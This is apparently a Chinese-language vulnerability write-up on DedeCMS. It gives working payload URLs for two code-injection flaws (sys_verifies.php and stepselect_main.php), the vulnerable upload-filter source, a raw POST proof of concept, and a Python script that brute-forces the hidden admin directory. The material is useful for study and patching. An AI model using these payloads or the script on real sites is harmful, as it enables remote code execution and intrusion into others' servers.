0x01 前言

干就完事了

0x02 过程

1.任意代码执行

PayLoad:http://localhost/dedecms/dede/sys_verifies.php?action=getfiles&refiles[]=\”;phpinfo();//;//)
该漏洞位于 dede/sys_verifies.php ,当action = getfiles时,程序会将数组 refiles 的内容写到文件 /dede/modifytmp.inc 文件中。
image.png
可以看到,程序使用了foreach循环refiles数组。由于写入的内容是从第三位开始,所以我们需要在程序前面填充三位。可以使用Payload的\”,经过了过滤,\” 到代码里面了就变成 \\”,所以闭合的双引号就会被写到文件里
image.png
继续看文件,在198行的iframe标签会去请求 action=down 的链接。
image.png
当 action=dwon的时候,会将modifytmp.inc引用进来,从而变成了任意代码执行
image.png

2.任意代码执行

Payload:http://localhost/dedecms/dede/stepselect_main.php?action=addenum_save&ename=233&issign=1&egroup=;phpinfo();$;$)
该漏洞的位于 dede/stepselect_main.php ,当action = addenum_save 且 ename,egroup的值不为空,程序会进去issign=1的流程
image.png
该漏洞的出发点在 WriteEnumsCache函数,我们跟进去看看
可以看到,程序会将我们传入的值作为文件名并且将该值写入文件中
到了这里我们就可以构造Payload了
image.png

3.后台目录爆破

该漏洞位于 include/common.inc.php 148行,当 $_FILES 不为空的时候会引用 uploadsafe.inc.php 文件
image.png
我们来看看 uploadsafe.inc.php 文件。

  1. <?php
  2. if(!defined('DEDEINC')) exit('Request Error!');
  3. if(isset($_FILES['GLOBALS'])) exit('Request not allow!');
  4. //为了防止用户通过注入的可能性改动了数据库
  5. //这里强制限定的某些文件类型禁止上传
  6. $cfg_not_allowall = "php|pl|cgi|asp|aspx|jsp|php3|shtm|shtml";
  7. $keyarr = array('name', 'type', 'tmp_name', 'size');
  8. if ($GLOBALS['cfg_html_editor']=='ckeditor' && isset($_FILES['upload']))
  9. {
  10. $_FILES['imgfile'] = $_FILES['upload'];
  11. $CKUpload = TRUE;
  12. unset($_FILES['upload']);
  13. }
  14. foreach($_FILES as $_key=>$_value)
  15. {
  16. foreach($keyarr as $k)
  17. {
  18. if(!isset($_FILES[$_key][$k]))
  19. {
  20. exit('Request Error!');
  21. }
  22. }
  23. if( preg_match('#^(cfg_|GLOBALS)#', $_key) )
  24. {
  25. exit('Request var not allow for uploadsafe!');
  26. }
  27. $$_key = $_FILES[$_key]['tmp_name'];
  28. ${$_key.'_name'} = $_FILES[$_key]['name'];
  29. ${$_key.'_type'} = $_FILES[$_key]['type'] = preg_replace('#[^0-9a-z\./]#i', '', $_FILES[$_key]['type']);
  30. ${$_key.'_size'} = $_FILES[$_key]['size'] = preg_replace('#[^0-9]#','',$_FILES[$_key]['size']);
  31. if(!empty(${$_key.'_name'}) && (preg_match("#\.(".$cfg_not_allowall.")$#i",${$_key.'_name'}) || !preg_match("#\.#", ${$_key.'_name'})) )
  32. {
  33. if(!defined('DEDEADMIN'))
  34. {
  35. exit('Not Admin Upload filetype not allow !');
  36. }
  37. }
  38. if(empty(${$_key.'_size'}))
  39. {
  40. ${$_key.'_size'} = @filesize($$_key);
  41. }
  42. $imtypes = array
  43. (
  44. "image/pjpeg", "image/jpeg", "image/gif", "image/png",
  45. "image/xpng", "image/wbmp", "image/bmp"
  46. );
  47. if(in_array(strtolower(trim(${$_key.'_type'})), $imtypes))
  48. {
  49. $image_dd = @getimagesize($$_key);
  50. if (!is_array($image_dd))
  51. {
  52. exit('Upload filetype not allow !');
  53. }
  54. }
  55. }
  56. ?>

这里需要注意的是$$_key,$_key取自于$FILE.$FILE可控自然$$_key也可控。
下面我们来构造POC

POST /DEDECMS/tags.php HTTP/1.1
Host: 192.168.0.111
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36
DNT: 1
Accept: */*
Referer: http://192.168.0.111/dedecms/?XDEBUG_SESSION_START=14878
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh-TW;q=0.9,zh;q=0.8,en-US;q=0.7,en;q=0.6
Cookie: XDEBUG_SESSION=14878
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 133

_FILES[test][tmp_name]=./de</images/admin_top_logo.gif&_FILES[test][name]=0&_FILES[test][size]=0&_FILES[test][type]=image/gif

参考:https://xz.aliyun.com/t/2064
我们使用Python来构造测试工具

import requests
import itertools

characters = "abcdefghijklmnopqrstuvwxyz0123456789_!#"
back_dir = ""
flag = 0
url = "http://192.168.0.111/dedecms/tags.php"
data = {
    "_FILES[test][tmp_name]" : "./{p}<</images/admin_top_logo.gif",
    "_FILES[test][name]" : 0,
    "_FILES[test][size]" : 0,
    "_FILES[test][type]" : "image/gif"
}

for num in range(1,3):
    if flag:
        break
    for pre in itertools.permutations(characters,num):
        pre = ''.join(list(pre))
        data["_FILES[test][tmp_name]"] = data["_FILES[test][tmp_name]"].format(p=pre)
        r = requests.post(url,data=data)
        if "Upload filetype not allow" not in r.text and r.status_code == 200:
            flag = 1
            back_dir = pre
            data["_FILES[test][tmp_name]"] = "./{p}<</images/adminico.gif"
            break
        else:
            data["_FILES[test][tmp_name]"] = "./{p}<</images/adminico.gif"
print("[+] 前缀为:",back_dir)
flag = 0
for i in range(2):
    if flag:
        break
    for ch in characters:
        if ch == characters[-1]:
            flag = 1
            break
        data["_FILES[test][tmp_name]"] = data["_FILES[test][tmp_name]"].format(p=back_dir+ch)
        r = requests.post(url, data=data)
        if "Upload filetype not allow !" not in r.text and r.status_code == 200:
            back_dir += ch
            print("[+] ",back_dir)
            data["_FILES[test][tmp_name]"] = "./{p}<</images/adminico.gif"
            break
        else:
            data["_FILES[test][tmp_name]"] = "./{p}<</images/adminico.gif"

print("后台地址为:",back_dir)